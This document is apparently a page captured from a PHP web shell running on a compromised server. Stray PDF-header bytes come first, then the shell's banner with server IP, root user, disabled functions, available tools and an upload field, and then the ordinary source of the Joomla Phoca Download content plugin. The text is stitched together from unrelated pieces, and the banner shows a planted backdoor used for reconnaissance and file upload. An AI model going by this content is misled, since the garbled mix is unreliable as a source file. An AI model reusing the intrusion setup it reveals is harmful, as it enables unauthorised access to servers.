%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.14 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/old/plugins/content/phocadownload/ |
Upload File : |
<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined( '_JEXEC' ) or die( 'Restricted access' );
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
jimport( 'joomla.plugin.plugin' );
if (!JComponentHelper::isEnabled('com_phocadownload', true)) {
return JError::raiseError(JText::_('PLG_CONTENT_PHOCADOWNLOAD_PHOCA_DOWNLOAD_ERROR'), JText::_('PLG_CONTENT_PHOCADOWNLOAD_PHOCA_DOWNLOAD_NOT_INSTALLED_ON_YOUR_SYSTEM'));
}
if (! class_exists('PhocaDownloadLoader')) {
require_once( JPATH_ADMINISTRATOR.'/components/com_phocadownload/libraries/loader.php');
}
phocadownloadimport('phocadownload.utils.settings');
phocadownloadimport('phocadownload.path.path');
phocadownloadimport('phocadownload.path.route');
phocadownloadimport('phocadownload.file.file');
phocadownloadimport('phocadownload.utils.utils');
phocadownloadimport('phocadownload.render.layout');
phocadownloadimport('phocadownload.ordering.ordering');
class plgContentPhocaDownload extends JPlugin
{
public function __construct(& $subject, $config) {
parent::__construct($subject, $config);
$this->loadLanguage();
}
public function onContentPrepare($context, &$article, &$params, $page = 0) {
$document = JFactory::getDocument();
$db = JFactory::getDBO();
$iSize = $this->params->get('icon_size', 32);
$iMime = $this->params->get('file_icon_mime', 0);
$component = 'com_phocadownload';
$paramsC = JComponentHelper::getParams($component) ;
$ordering = $paramsC->get( 'file_ordering', 1 );
// Start Plugin
$regex_one = '/({phocadownload\s*)(.*?)(})/si';
$regex_all = '/{phocadownload\s*.*?}/si';
$matches = array();
$count_matches = preg_match_all($regex_all,$article->text,$matches,PREG_OFFSET_CAPTURE | PREG_PATTERN_ORDER);
JHTML::stylesheet( 'media/com_phocadownload/css/main/phocadownload.css' );
JHTML::stylesheet( 'media/plg_content_phocadownload/css/phocadownload.css' );
// Start if count_matches
if ($count_matches != 0) {
$l = new PhocaDownloadLayout();
// Start CSS
for($i = 0; $i < $count_matches; $i++) {
$view = '';
$id = '';
$text = '';
$target = '';
$playerwidth = $paramsC->get( 'player_width', 328 );
$playerheight = $paramsC->get( 'player_height', 200 );
$previewwidth = $paramsC->get( 'preview_width', 640 );
$previewheight = $paramsC->get( 'preview_height', 480 );
$playerheightmp3 = $paramsC->get( 'player_mp3_height', 30 );
$url = '';
$youtubewidth = 448;
$youtubeheight = 336;
$fileView = $paramsC->get( 'display_file_view', 0 );
$previewWindow = $paramsC->get( 'preview_popup_window', 0 );
$playWindow = $paramsC->get( 'play_popup_window', 0 );
$limit = 5;
// Get plugin parameters
$phocadownload = $matches[0][$i][0];
preg_match($regex_one,$phocadownload,$phocadownload_parts);
$parts = explode("|", $phocadownload_parts[2]);
$values_replace = array ("/^'/", "/'$/", "/^'/", "/'$/", "/<br \/>/");
foreach($parts as $key => $value) {
$values = explode("=", $value, 2);
foreach ($values_replace as $key2 => $values2) {
$values = preg_replace($values2, '', $values);
}
// Get plugin parameters from article
if($values[0]=='view') {$view = $values[1];}
else if($values[0]=='id') {$id = $values[1];}
else if($values[0]=='text') {$text = $values[1];}
else if($values[0]=='target') {$target = $values[1];}
else if($values[0]=='playerwidth') {$playerwidth = (int)$values[1];}
else if($values[0]=='playerheight') {$playerheight = (int)$values[1];}
else if($values[0]=='playerheightmp3') {$playerheightmp3 = (int)$values[1];}
else if($values[0]=='previewwidth') {$previewwidth = (int)$values[1];}
else if($values[0]=='previewheight') {$previewheight = (int)$values[1];}
else if($values[0]=='youtubewidth') {$youtubewidth = (int)$values[1];}
else if($values[0]=='youtubeheight') {$youtubeheight = (int)$values[1];}
else if($values[0]=='previewwindow') {$previewWindow = (int)$values[1];}
else if($values[0]=='playwindow') {$playWindow = (int)$values[1];}
else if($values[0]=='limit') {$limit = (int)$values[1];}
else if($values[0]=='url') {$url = $values[1];}
}
switch($target) {
case 'b':
$targetOutput = 'target="_blank" ';
break;
case 't':
$targetOutput = 'target="_top" ';
break;
case 'p':
$targetOutput = 'target="_parent" ';
break;
case 's':
$targetOutput = 'target="_self" ';
break;
default:
$targetOutput = '';
break;
}
$output = '';
/*
//Itemid
$menu =& JSite::getMenu();
$itemSection= $menu->getItems('link', 'index.php?option=com_phocadownload&view=sections');
if(isset($itemSection[0])) {
$itemId = $itemSection[0]->id;
} else {
$itemId = JRequest::getVar('Itemid', 1, 'get', 'int');
}
*/
switch($view) {
/*
// - - - - - - - - - - - - - - - -
// SECTIONS
// - - - - - - - - - - - - - - - -
case 'sections':
if ($text !='') {
$textOutput = $text;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_SECTIONS');
}
$link = PhocaDownloadRoute::getSectionsRoute();
$output .= '<div class="phocadownloadsections'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
break;
// - - - - - - - - - - - - - - - -
// SECTION
// - - - - - - - - - - - - - - - -
case 'section':
if ((int)$id > 0) {
$query = 'SELECT a.id, a.title, a.alias,'
. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug'
. ' FROM #__phocadownload_sections AS a'
. ' WHERE a.id = '.(int)$id;
$db->setQuery($query);
$item = $db->loadObject();
if (isset($item->id) && isset($item->slug)) {
if ($text !='') {
$textOutput = $text;
} else if (isset($item->title) && $item->title != '') {
$textOutput = $item->title;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_SECTION');
}
$link = PhocaDownloadRoute::getSectionRoute($item->id, $item->alias);
// 'index.php?option=com_phocadownload&view=section&id='.$item->slug.'&Itemid='. $itemId
$output .= '<div class="phocadownloadsection'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
}
break;
*/
// - - - - - - - - - - - - - - - -
// CATEGORIES
// - - - - - - - - - - - - - - - -
case 'categories':
if ($text !='') {
$textOutput = $text;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_CATEGORIES');
}
$link = PhocaDownloadRoute::getCategoriesRoute();
$output .= '<div class="phocadownloadcategories'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
break;
// - - - - - - - - - - - - - - - -
// CATEGORY
// - - - - - - - - - - - - - - - -
case 'category':
if ((int)$id > 0) {
$query = 'SELECT a.id, a.title, a.alias,'
. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug'
. ' FROM #__phocadownload_categories AS a'
. ' WHERE a.id = '.(int)$id;
$db->setQuery($query);
$item = $db->loadObject();
if (isset($item->id) && isset($item->slug)) {
if ($text !='') {
$textOutput = $text;
} else if (isset($item->title) && $item->title != '') {
$textOutput = $item->title;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_CATEGORY');
}
$link = PhocaDownloadRoute::getCategoryRoute($item->id, $item->alias);
//'index.php?option=com_phocadownload&view=category&id='.$item->slug.'&Itemid='. $itemId
$output .= '<div class="phocadownloadcategory'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
}
break;
// - - - - - - - - - - - - - - - -
// FILELIST
// - - - - - - - - - - - - - - - -
case 'filelist':
$fileOrdering = PhocaDownloadOrdering::getOrderingText($ordering);
$query = 'SELECT a.id, a.title, a.alias, a.filename_play, a.filename_preview, a.link_external, a.image_filename, a.filename, c.id as catid, a.confirm_license, c.title as cattitle, c.alias as catalias,'
. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug,'
. ' CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END as catslug'
. ' FROM #__phocadownload AS a'
. ' LEFT JOIN #__phocadownload_categories AS c ON a.catid = c.id';
if ((int)$id > 0) {
$query .= ' WHERE c.id = '.(int)$id;
//$query .= ' WHERE c.id = '.(int)$id . ' AND a.published = 1 AND a.approved = 1';
} else {
//$query .= ' WHERE a.published = 1 AND a.approved = 1';
}
$query .= ' ORDER BY a.'.$fileOrdering;
$query .= ' LIMIT 0, '.(int)$limit;
$db->setQuery($query);
$items = $db->loadObjectList();
if (!empty($items)) {
$output .= '<div class="phocadownloadfilelist">';
foreach ($items as $item) {
$imageFileName = $l->getImageFileName($item->image_filename, $item->filename, 3, (int)$iSize);
if (isset($item->id) && isset($item->slug) && isset($item->catid) && isset($item->catslug)) {
if ($text !='') {
$textOutput = $text;
} else if (isset($item->title) && $item->title != '') {
$textOutput = $item->title;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_FILE');
}
if ((isset($item->confirm_license) && $item->confirm_license > 0) || $fileView == 1) {
$link = PhocaDownloadRoute::getFileRoute($item->id,$item->catid,$item->alias, $item->catalias,0, 'file');
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfilelistitem phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'><a href="'. JRoute::_($link).'" '. $targetOutput.'>'. $textOutput.'</a></div></div>';
} else {
$output .= '<div class="phocadownloadfilelist'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
} else {
if ($item->link_external != '') {
$link = $item->link_external;
} else {
$link = PhocaDownloadRoute::getFileRoute($item->id,$item->catid,$item->alias,$item->catalias, 0, 'download');
}
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfilelistitem phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'><a href="'. JRoute::_($link).'" '. $targetOutput.'>'. $textOutput.'</a></div></div>';
} else {
$output .= '<div class="phocadownloadfilelist'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
}
}
}
$output .= '</div>';
}
break;
// - - - - - - - - - - - - - - - -
// FILE
// - - - - - - - - - - - - - - - -
case 'file':
case 'fileplay':
case 'fileplaylink':
case 'filepreviewlink':
if ((int)$id > 0) {
$query = 'SELECT a.id, a.title, a.alias, a.filename_play, a.filename_preview, a.link_external, a.image_filename, a.filename, c.id as catid, a.confirm_license, c.title as cattitle, c.alias as catalias,'
. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug,'
. ' CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END as catslug'
. ' FROM #__phocadownload AS a'
. ' LEFT JOIN #__phocadownload_categories AS c ON a.catid = c.id'
. ' WHERE a.id = '.(int)$id;
$db->setQuery($query);
$item = $db->loadObject();
if (isset($item->id) && isset($item->slug) && isset($item->catid) && isset($item->catslug)) {
if ($text !='') {
$textOutput = $text;
} else if (isset($item->title) && $item->title != '') {
$textOutput = $item->title;
} else {
if ($view == 'fileplay') {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_PLAY_FILE');
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_DOWNLOAD_FILE');
}
}
$imageFileName = $l->getImageFileName($item->image_filename, $item->filename, 3, (int)$iSize);
// - - - - -
// PLAY
// - - - - -
if ($view == 'fileplay') {
$play = 1;
$fileExt = '';
$filePath = PhocaDownloadPath::getPathSet('fileplay');
$filePath = str_replace ( '../', JURI::base(true).'/', $filePath['orig_rel_ds']);
if (isset($item->filename_play) && $item->filename_play != '') {
$fileExt = PhocaDownloadFile::getExtension($item->filename_play);
$canPlay = PhocaDownloadFile::canPlay($item->filename_play);
if ($canPlay) {
$tmpl['playfilewithpath'] = $filePath . $item->filename_play;
$tmpl['playerpath'] = JURI::base().'components/com_phocadownload/assets/flowplayer/';
} else {
$output .= JText::_('PLG_CONTENT_PHOCADOWNLOAD_NO_CORRECT_FILE_FOR_PLAYING_FOUND');
$play = 0;
}
} else {
$output .= JText::_('PLG_CONTENT_PHOCADOWNLOAD_NO_FILE_FOR_PLAYING_FOUND');
$play = 0;
}
if ($play == 1) {
//Correct MP3
$tmpl['filetype'] = '';
if ($fileExt == 'mp3') {
$tmpl['filetype'] = 'mp3';
$playerheight = $playerheightmp3;
}
$versionFLP = '3.2.2';
$versionFLPJS = '3.2.2';
//Flow Player
$document->addScript($tmpl['playerpath'].'flowplayer-'.$versionFLPJS.'.min.js');
$output .= '<div style="text-align:center;margin: 10px auto">'. "\n"
.'<div style="margin: 0 auto;text-align:center; width:'. $playerwidth.'px"><a href="'. $tmpl['playfilewithpath'].'" style="display:block;width:'. $playerwidth.'px;height:'. $playerheight.'px" id="pdplayer'.$i.'"></a>'. "\n";
if ($tmpl['filetype'] == 'mp3') {
$output .= '<script type="text/javascript">'. "\n"
.'window.addEvent("domready", function() {'. "\n"
.'flowplayer("pdplayer'.$i.'", "'.$tmpl['playerpath'].'flowplayer-'.$versionFLP.'.swf",'
.'{ ' . "\n"
.' clip: { '. "\n"
.' url: \''.$tmpl['playfilewithpath'].'\','. "\n"
.' autoPlay: false' . "\n"
// .' autoBuffering: true' . "\n"
.' }, '. "\n"
.' plugins: { '. "\n"
.' controls: { ' . "\n"
.' fullscreen: false, '. "\n"
.' height: '. $playerheight . "\n"
.' } ' . "\n"
.' } '. "\n"
.'} '. "\n"
.');'. "\n"
.'});'
.'</script>'. "\n";
} else {
$output .= '<script type="text/javascript">'. "\n"
.'window.addEvent("domready", function() {'. "\n"
.'flowplayer("pdplayer'.$i.'", "'. $tmpl['playerpath'].'flowplayer-'.$versionFLP.'.swf",'. "\n"
.'{ ' . "\n"
.' clip: { '. "\n"
.' url: \''.$tmpl['playfilewithpath'].'\','. "\n"
.' autoPlay: false,' . "\n"
.' autoBuffering: true' . "\n"
.' }, '. "\n"
.'} '. "\n"
.');'. "\n"
.'});'
.'</script>'. "\n";
}
$output .= '</div></div>'. "\n";
}
} else if ($view == 'fileplaylink') {
// PLAY - - - - - - - - - - - -
$windowWidthPl = (int)$playerwidth + 30;
$windowHeightPl = (int)$playerheight + 30;
$windowHeightPlMP3 = (int)$playerheightmp3 + 30;
//$playWindow = $paramsC->get( 'play_popup_window', 0 );
if ($playWindow == 1) {
$buttonPl = new JObject();
$buttonPl->set('methodname', 'js-button');
$buttonPl->set('options', "window.open(this.href,'win2','width=".$windowWidthPl.",height=".$windowHeightPl.",scrollbars=yes,menubar=no,resizable=yes'); return false;");
$buttonPl->set('optionsmp3', "window.open(this.href,'win2','width=".$windowWidthPl.",height=".$windowHeightPlMP3.",scrollbars=yes,menubar=no,resizable=yes'); return false;");
} else {
JHTML::_('behavior.modal', 'a.modal-button');
$document->addCustomTag( "<style type=\"text/css\"> \n"
." #sbox-window.phocadownloadplaywindow {background-color:#fff;padding:2px} \n"
." #sbox-overlay.phocadownloadplayoverlay {background-color:#000;} \n"
." </style> \n");
$buttonPl = new JObject();
$buttonPl->set('name', 'image');
$buttonPl->set('modal', true);
$buttonPl->set('methodname', 'modal-button');
$buttonPl->set('options', "{handler: 'iframe', size: {x: ".$windowWidthPl.", y: ".$windowHeightPl."}, overlayOpacity: 0.7, classWindow: 'phocadownloadplaywindow', classOverlay: 'phocadownloadplayoverlay'}");
$buttonPl->set('optionsmp3', "{handler: 'iframe', size: {x: ".$windowWidthPl.", y: ".$windowHeightPlMP3."}, overlayOpacity: 0.7, classWindow: 'phocadownloadplaywindow', classOverlay: 'phocadownloadplayoverlay'}");
}
// - - - - - - - - - - - - - - -
$fileExt = '';
$filePath = PhocaDownloadPath::getPathSet('fileplay');
$filePath = str_replace ( '../', JURI::base(true).'/', $filePath['orig_rel_ds']);
if (isset($item->filename_play) && $item->filename_play != '') {
$fileExt = PhocaDownloadFile::getExtension($item->filename_play);
$canPlay = PhocaDownloadFile::canPlay($item->filename_play);
if ($canPlay) {
// Special height for music only
$buttonPlOptions = $buttonPl->options;
if ($fileExt == 'mp3') {
$buttonPlOptions = $buttonPl->optionsmp3;
}
/*if ($text == '') {
$text = JText::_('PLG_CONTENT_PHOCADOWNLOAD_PLAY');
}*/
if ($text !='') {
$textOutput = $text;
//} else if (isset($item->title) && $item->title != '') {
// $textOutput = $item->title;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_PLAY');
}
$playLink = JRoute::_(PhocaDownloadRoute::getFileRoute($item->id,$item->catid,$item->alias, $item->catalias,0, 'play'));
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfile phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'>';
} else {
$output .= '</div><div class="phocadownloadplay'.(int)$iSize.'">';
}
if ($playWindow == 1) {
$output .= '<a href="'.$playLink.'" onclick="'. $buttonPlOptions.'" >'. $textOutput.'</a>';
} else {
$output .= '<a class="modal-button" href="'.$playLink.'" rel="'. $buttonPlOptions.'" >'. $textOutput.'</a>';
}
$output .= '</div></div>';
}
} else {
$output .= JText::_('PLG_CONTENT_PHOCADOWNLOAD_NO_FILE_FOR_PLAYING_FOUND');
}
} else if ($view == 'filepreviewlink') {
if (isset($item->filename_preview) && $item->filename_preview != '') {
$fileExt = PhocaDownloadFile::getExtension($item->filename_preview);
if ($fileExt == 'pdf' || $fileExt == 'jpeg' || $fileExt == 'jpg' || $fileExt == 'png' || $fileExt == 'gif') {
$filePath = PhocaDownloadPath::getPathSet('filepreview');
$filePath = str_replace ( '../', JURI::base(true).'/', $filePath['orig_rel_ds']);
$previewLink = $filePath . $item->filename_preview;
//$previewWindow = $paramsC->get( 'preview_popup_window', 0 );
// PREVIEW - - - - - - - - - - - -
$windowWidthPr = (int)$previewwidth + 20;
$windowHeightPr = (int)$previewheight + 20;
if ($previewWindow == 1) {
$buttonPr = new JObject();
$buttonPr->set('methodname', 'js-button');
$buttonPr->set('options', "window.open(this.href,'win2','width=".$windowWidthPr.",height=".$windowHeightPr.",scrollbars=yes,menubar=no,resizable=yes'); return false;");
} else {
JHTML::_('behavior.modal', 'a.modal-button');
$document->addCustomTag( "<style type=\"text/css\"> \n"
." #sbox-window.phocadownloadpreviewwindow {background-color:#fff;padding:2px} \n"
." #sbox-overlay.phocadownloadpreviewoverlay {background-color:#000;} \n"
." </style> \n");
$buttonPr = new JObject();
$buttonPr->set('name', 'image');
$buttonPr->set('modal', true);
$buttonPr->set('methodname', 'modal-button');
$buttonPr->set('options', "{handler: 'iframe', size: {x: ".$windowWidthPr.", y: ".$windowHeightPr."}, overlayOpacity: 0.7, classWindow: 'phocadownloadpreviewwindow', classOverlay: 'phocadownloadpreviewoverlay'}");
$buttonPr->set('optionsimg', "{handler: 'image', size: {x: 200, y: 150}, overlayOpacity: 0.7, classWindow: 'phocadownloadpreviewwindow', classOverlay: 'phocadownloadpreviewoverlay'}");
}
// - - - - - - - - - - - - - - -
/*if ($text == '') {
$text = JText::_('PLG_CONTENT_PHOCADOWNLOAD_PREVIEW');
}*/
if ($text !='') {
$textOutput = $text;
//} else if (isset($item->title) && $item->title != '') {
// $textOutput = $item->title;
} else {
$textOutput = JText::_('PLG_CONTENT_PHOCADOWNLOAD_PREVIEW');
}
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfile phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'>';
} else {
$output .= '<div><div class="phocadownloadpreview'.(int)$iSize.'">';
}
if ($previewWindow == 1) {
$output .= '<a href="'.$previewLink.'" onclick="'. $buttonPr->options.'" >'. $text.'</a>';
} else {
if ($fileExt == 'pdf') {
// Iframe - modal
$output .= '<a class="modal-button" href="'.$previewLink.'" rel="'. $buttonPr->options.'" >'. $textOutput.'</a>';
} else {
// Image - modal
$output .= '<a class="modal-button" href="'.$previewLink.'" rel="'. $buttonPr->optionsimg.'" >'. $textOutput.'</a>';
}
}
$output .= '</div></div>';
}
} else {
$output .= JText::_('PLG_CONTENT_PHOCADOWNLOAD_NO_FILE_FOR_PREVIEWING_FOUND');
}
} else {
if ((isset($item->confirm_license) && $item->confirm_license > 0) || $fileView == 1) {
$link = PhocaDownloadRoute::getFileRoute($item->id,$item->catid,$item->alias, $item->catalias,0, 'file');
//'index.php?option=com_phocadownload&view=file&id='.$item->slug.'&Itemid='.$itemId
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfile phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'><a href="'. JRoute::_($link).'" '. $targetOutput.'>'. $textOutput.'</a></div></div>';
} else {
$output .= '<div class="phocadownloadfile'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
} else {
if ($item->link_external != '') {
$link = $item->link_external;
} else {
$link = PhocaDownloadRoute::getFileRoute($item->id,$item->catid,$item->alias,$item->catalias,0, 'download');
}
//$link = PhocaDownloadRoute::getCategoryRoute($item->catid,$item->catalias,$item->sectionid);
//'index.php?option=com_phocadownload&view=category&id='. $item->catslug. '&download='. $item->slug. '&Itemid=' . $itemId
if ($iMime == 1) {
$output .= '<div class="pd-filename phocadownloadfile phoca-dl-file-box-mod">'. $imageFileName['filenamethumb']. '<div class="pd-document'.(int)$iSize.'" '. $imageFileName['filenamestyle'].'><a href="'. JRoute::_($link).'" '. $targetOutput.'>'. $textOutput.'</a></div></div>';
} else {
$output .= '<div class="phocadownloadfile'.(int)$iSize.'"><a href="'. JRoute::_($link).'" '.$targetOutput.'>'. $textOutput.'</a></div>';
}
}
}
}
}
break;
// - - - - - - - - - - - - - - - -
// YOUTUBE
// - - - - - - - - - - - - - - - -
case 'youtube':
if ($url != '' && PhocaDownloadUtils::isURLAddress($url) ) {
$l = new PhocaDownloadLayout();
$pdVideo = $l->displayVideo($url, 0, $youtubewidth, $youtubeheight);
$output .= $pdVideo;
} else {
$output .= JText::_('PLG_CONTENT_PHOCADOWNLOAD_WRONG_YOUTUBE_URL');
}
break;
}
$article->text = preg_replace($regex_all, $output, $article->text, 1);
}
}// end if count_matches
return true;
}
}
?>